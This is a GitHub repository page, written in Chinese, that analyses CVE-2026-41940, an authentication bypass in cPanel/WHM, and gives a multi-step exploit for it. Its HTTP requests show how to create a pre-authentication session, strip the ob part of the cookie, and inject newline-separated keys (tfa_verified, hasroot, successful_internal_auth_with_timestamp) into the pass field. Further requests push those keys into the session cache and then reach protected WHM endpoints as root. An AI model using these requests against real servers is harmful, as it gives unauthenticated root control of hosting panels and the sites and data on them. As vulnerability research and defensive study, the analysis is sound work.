kmaruthisrikar/CVE-2026-41940-cPanel-Auth-Bypass-Exploit
GitHub: kmaruthisrikar/CVE-2026-41940-cPanel-Auth-Bypass-Exploit
针对 cPanel/WHM CVE-2026-41940 身份验证绕过漏洞的深度技术分析与多步骤利用方案,通过 CRLF 注入和会话编码绕过实现未经认证的 root 级别访问。
Stars: 1 | Forks: 0
# CVE-2026-41940: cPanel/WHM 身份验证绕过分析
## 漏洞概述
CVE-2026-41940 是 cPanel & WHM 中的一个严重身份验证绕过漏洞,影响所有当前受支持的版本。它允许未经身份验证的攻击者绕过身份验证,并获得 root 级别的访问权限 (WHM) 或用户级别的访问权限 (cPanel)。
## 技术根本原因
该漏洞源于 `Cpanel/Session.pm` 中的两个主要问题:
1. **`saveSession` 中的 CRLF 注入**: `saveSession` 函数在将输入写入磁盘上的会话文件之前,没有对其进行适当的清理。具体来说,它未能从 `pass` 字段中剥离换行符 (`\n`)。
2. **条件编码绕过**: 会话文件中的 `pass` 字段通常使用每个会话的密钥 (`ob`) 进行加密。但是,如果会话 cookie 不包含 `ob` 部分(逗号后面的部分),则会跳过编码,`pass` 值将以明文形式写入。
## 漏洞利用过程
该漏洞利用是一个多步骤的过程:
### 1. 创建预认证会话
发送一次失败的登录尝试,以触发在磁盘上创建会话文件。
```
POST /login/?login_only=1 HTTP/1.1
Host: target:2087
Content-Type: application/x-www-form-urlencoded
user=root&pass=anything
```
服务器返回一个 `whostmgrsession` cookie,例如,`whostmgrsession=:Wg_mjzgt1hyfXefK,1bd3d4...`。
### 2. 注入恶意会话键
使用该会话 cookie 发送另一个请求,但**删除 `ob` 部分**(逗号及其后面的所有内容)。在 `pass` 字段中,使用换行符注入所需的会话键。
```
POST /login/?login_only=1 HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK
Content-Type: application/x-www-form-urlencoded
user=root&pass=x%0atfa_verified=1%0ahasroot=1%0asuccessful_internal_auth_with_timestamp=1777462149
```
由于缺少 `ob` 部分,`cpsrvd` 将未编码的 `pass` 值写入。注入的换行符导致后续行在原始会话文件中被解释为单独的键值对。
### 3. 将注入提升至 JSON 缓存
cPanel 使用 JSON 缓存来存储会话。原始注入仅存在于文本文件中。要使其“激活”,我们必须强制 cPanel 重新读取原始文件并更新 JSON 缓存。这可以通过在使用 `Cpanel::Session::Modify` 的 endpoint 上触发“Token Denied”错误来实现。
```
GET /scripts2/listaccts HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK
```
URL 中缺失的安全 token 会触发 `do_token_denied`,该过程使用 `Cpanel::Session::Modify` 来更新 `token_denied` 计数。`Modify` 读取原始文件(绕过缓存),然后同时写入原始文件和 JSON 缓存,从而有效地将我们注入的键提升到 JSON 缓存的顶层。
### 4. 访问受保护的 Endpoint
现在,在 cPanel 看来,该会话已完全通过“身份验证”。`successful_internal_auth_with_timestamp` 键绕过了 `/etc/shadow` 检查。
```
GET /cpsess[TOKEN]/json-api/version HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK
```
`[TOKEN]` 可以从会话中的 `cp_security_token` 字段获取,该字段通常在“Token Denied”响应中返回,或者可以通过检查会话 cookie 的行为来找到。
## 关键注入字段
- `tfa_verified=1`: 绕过双因素身份验证。
- `hasroot=1`: 授予 WHM 中的 root 权限。
- `successful_internal_auth_with_timestamp=[TIMESTAMP]`: 绕过针对系统 shadow 文件的实际密码验证。
- `user=root`: 将会话用户设置为 root。
标签:CISA项目, cPanel, Cpanel/Session.pm, cpsrvd, CRLF注入, CVE-2026-41940, Root权限, Session伪造, Web安全, Web应用漏洞, WHM, 主机控制面板, 会话篡改, 换行符注入, 提权, 未授权访问, 漏洞分析, 网络安全, 蓝队分析, 认证绕过, 路径探测, 身份验证绕过, 隐私保护